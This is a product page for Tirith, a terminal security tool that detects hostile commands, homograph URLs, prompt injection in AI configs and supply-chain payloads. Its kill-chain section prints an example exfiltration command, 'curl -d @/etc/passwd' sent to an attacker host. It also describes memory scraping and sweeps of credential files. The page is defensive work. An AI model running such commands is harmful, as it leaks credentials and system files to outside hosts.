Your browser would catch this.
Your terminal won't.
Tirith intercepts commands and pastes in your terminal, detecting homograph attacks, pipe-to-shell patterns, ANSI injection, credential leaks, data exfiltration, and 80+ other threats — in under 1ms.
See It In Action
Click a scenario to see how Tirith responds.
DETECTION
What It Catches
15 threat categories covering every angle of terminal attack surface.
Hostname
Homograph attacks, punycode, confusable characters, IDN spoofing
Path
Non-ASCII paths, homoglyphs, encoded traversal sequences
Transport
Insecure HTTP, TLS downgrades, URL shorteners, data URIs
Terminal
ANSI injection, bidi overrides, zero-width chars, control sequences
Command
Pipe-to-shell, dotfile persistence, archive bombs, code substitution
Environment
Proxy hijacking and environment variable manipulation
Ecosystem
Git, Docker, pip, npm, Web3 — supply-chain attack surface
Config Security
AI config poisoning, prompt injection, MCP server validation
Rendered Content
Hidden CSS, color-matched text, comment instructions, PDF hidden text
Cloaking
Server-side cloaking detection — different content for bots vs browsers
Policy
Custom blocklists and organizational security policies
Credential Detection
AWS keys, GitHub PATs, Stripe/Slack/SendGrid tokens, private keys, entropy-based secrets
Data Exfiltration
curl/wget uploads, env var leaks, command substitution sending data to external hosts
Code Scanning
Obfuscated payloads, dynamic code execution, secret exfiltration in JS/Python files
Post-Compromise
Process memory scraping, Docker escalation, credential file sweeps — TeamPCP-inspired
REAL-WORLD DEFENSE
Supply Chain Is the New Attack Surface
TeamPCP compromised LiteLLM, Aqua Trivy, and Checkmarx in 5 days. No zero-day needed — just stolen credentials and commands your terminal happily executed.
Tirith won't stop a trojaned package from being installed. But it catches the payload before it does damage — cutting the blast radius at every stage of the kill chain.
Initial Access
Attack
Stolen credentials used to push trojaned package
LiteLLM, Aqua Trivy, Checkmarx — all in 5 days
Tirith Response
Outside terminal scope — tirith guards what runs after install
Credential Harvesting
Attack
Payload exports API keys, tokens, and secrets from env vars
$AWS_SECRET_ACCESS_KEY, $GITHUB_TOKEN, $ANTHROPIC_API_KEY
Tirith Response
credential_leak + env_var_exfiltration
Memory Scraping
Attack
Reads /proc/*/mem to extract secrets from running processes
Every secret in your CI runner or dev machine memory
Tirith Response
proc_memory_scraping
Privilege Escalation
Attack
Mounts host root filesystem via Docker remote daemon
Full host access from inside a container
Tirith Response
docker_remote_escalation
Persistence
Attack
Sweeps .aws/credentials, .ssh/id_rsa, .gnupg/ for lateral movement
Every credential file on disk
Tirith Response
credential_file_sweep
Exfiltration
Attack
Uploads stolen data to attacker-controlled server via curl
curl -d @/etc/passwd https://c2.attacker.com/collect
Tirith Response
curl_data_upload + data_exfiltration
5 of 6 kill chain stages intercepted
Tirith can't prevent a compromised package from being published. But every post-install payload — credential theft, memory scraping, privilege escalation, exfiltration — gets caught before it does damage. That's the difference between a breach and a blocked command.
ARCHITECTURE
How It Works
A 3-tier pipeline that balances speed with thoroughness.
Fast Gate
Regex-powered initial filter eliminates 99% of clean commands instantly.
Extract
Parses URLs, Docker references, and package identifiers from complex commands.
Analyze
80+ rules across 15 categories — homographs, injection, supply-chain, credential detection, exfiltration, and more.
AI Agent Security
Protect AI coding agents at every layer — from the configs they read to the skills they download to the commands they execute. One command to set up. Zero friction on clean input.
MCP Server — 7 Tools
AI agents call these tools before taking action. Run tirith mcp-server to start.
tirith_check_command
Analyze shell commands
tirith_check_url
Score URLs for attacks
tirith_check_paste
Check pasted content
tirith_scan_file
Scan files for hidden content
tirith_scan_directory
Recursive directory scan
tirith_verify_mcp_config
Validate MCP configs
tirith_fetch_cloaking
Detect server-side cloaking
Skill & Plugin Scanning
Download skills, plugins, and MCP tools without worrying. Tirith scans every file for obfuscated payloads, dynamic code execution, and secret exfiltration before your agent runs it.
Config Poisoning
Scans 50+ AI config file patterns (.cursorrules, CLAUDE.md, .mcp.json, and more) for prompt injection, invisible Unicode, and permission bypass attempts.
Hidden Content
Detects content invisible to humans but readable by AI — CSS hiding, color tricks, sub-pixel PDF text, and HTML comment injection.
Server Cloaking
Compares responses across 6 user-agents to catch servers that serve different content to AI bots vs browsers.
One Command Setup
CLI
Commands
Everything runs locally. Zero network calls unless you explicitly ask.
Analyze
| tirith check -- <cmd> | Analyze a command without executing it |
| tirith paste | Check pasted content (auto-called by shell hooks) |
| tirith scan [path] | Scan files/dirs for hidden content, config poisoning, malicious code. Supports --sarif and --ci --fail-on high |
| tirith run <url> | Safe curl|bash replacement. Downloads, analyzes, shows SHA256, opens for review, executes after confirmation |
Investigate
| tirith score <url> | Break down a URL's trust signals |
| tirith diff <url> | Byte-level comparison showing where suspicious characters hide |
| tirith fetch <url> | Detect server-side cloaking (different content for bots vs browsers) |
| tirith why | Explain the last rule that triggered |
Operate
| tirith receipt | Track and verify scripts run through tirith run (last, list, verify) |
| tirith checkpoint | Snapshot files before risky operations, roll back if needed (create, restore, diff) |
| tirith audit | Audit log management for compliance (export, stats, report) |
Setup
| tirith setup <tool> | One-command setup for AI coding tools |
| tirith gateway run | MCP gateway proxy for intercepting AI agent shell tool calls |
| tirith init | Print the shell hook for your shell profile |
| tirith doctor | Diagnostic check for hook status and configuration |
| tirith mcp-server | Run as MCP server over JSON-RPC stdio |
PRICING
Free for Everyone. Built for Teams.
All detection rules run at every tier. Paid plans add compliance, policy distribution, and enterprise integrations.
Community
Free forever
Everything you need for terminal security. No account required.
- ✓Full detection engine (all 80+ rules)
- ✓Shell hooks — Bash, Zsh, Fish, PowerShell
- ✓MCP server for AI coding tools
- ✓Local JSONL audit log
- ✓YAML policy system
- ✓SARIF output for CI/CD
- ✓Zero network calls — fully offline
- ✓Cross-platform — macOS, Linux, Windows
- ✓Open source
Team / Enterprise
Contact us
Everything in Community, plus:
- MITRE ATT&CK technique mapping
- Remote policy distribution
- Centralized audit log collection
- Custom DLP redaction patterns
- Webhooks — Slack, Teams, PagerDuty
- SSO/SAML — Okta, Azure AD
- Air-gapped / on-premises deployment
- Dedicated account manager & SLA
INSTALL
Installation
Install Tirith with your favorite package manager.
brew install sheeki03/tap/tirith
Shell Activation
# zsh (~/.zshrc) eval "$(tirith init --shell zsh)" # bash (~/.bashrc) eval "$(tirith init --shell bash)" # fish (~/.config/fish/config.fish) tirith init --shell fish | source # PowerShell ($PROFILE) # tirith init --shell powershell | Invoke-Expression